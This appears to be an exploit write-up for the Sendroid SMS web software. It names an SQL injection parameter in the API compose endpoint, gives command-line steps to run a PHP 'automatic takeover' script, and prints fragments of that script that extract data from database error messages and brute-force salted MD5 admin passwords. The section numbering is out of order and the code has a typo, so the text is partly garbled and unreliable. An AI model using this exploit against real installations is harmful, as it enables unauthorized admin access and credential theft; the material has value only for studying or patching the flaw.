1. Description
The softaware suffers from SQL Injection:
"/API/index.php?action=compose&username=sender&api_key=sdsd&sender"
2. Script (Automatic takeover)
Attached to mail
4. How to run Script
You must have PHP installed on your system to run the script.
- First, copy the code to a file and save(eg: sendroid_exploit.php)
- Open up your command line and CD into the directory where you saved the file.
- Now, type "$ php -f sendroid_exploit.php url=http://localhost/sms"
Note: The URL should be a direct link to where the software is installed.
3. Proof of Concept
Run the script for example:
php -f sendroid_exploit.php url=http://localhost/sms

function extractValue($payload, $what = "email"){
$patterns = []; $patterns[0] = "/ for key 'group_key'/"; $patterns[1] = "/Duplicate entry /"; $patterns[2] = "/\s\s+/"; $patterns[3] = "/'/";
$replacements = []; $replacement[0] = ""; $replacements[1] = ""; $replacements[2] = ""; $replacements[3] = "";
$result = preg_replace($patterns, $replacements, $payload);
return substr($result, 0, -1);
}
function crackPassword($password){
echo " cracking... please wait... ";
$pwsalt = explode( ":",$password );
for ($i=1; $i < 20000000000000 ; $i++) {
if(md5($i . $pwsalt[1]) == $pwsalt[0] ) {
return $i;
}
}
return "Could not crack password";
}
If you successfully run the script, you'll get the admin password. You can login to the admin portal:
localhost/sms/administrator/
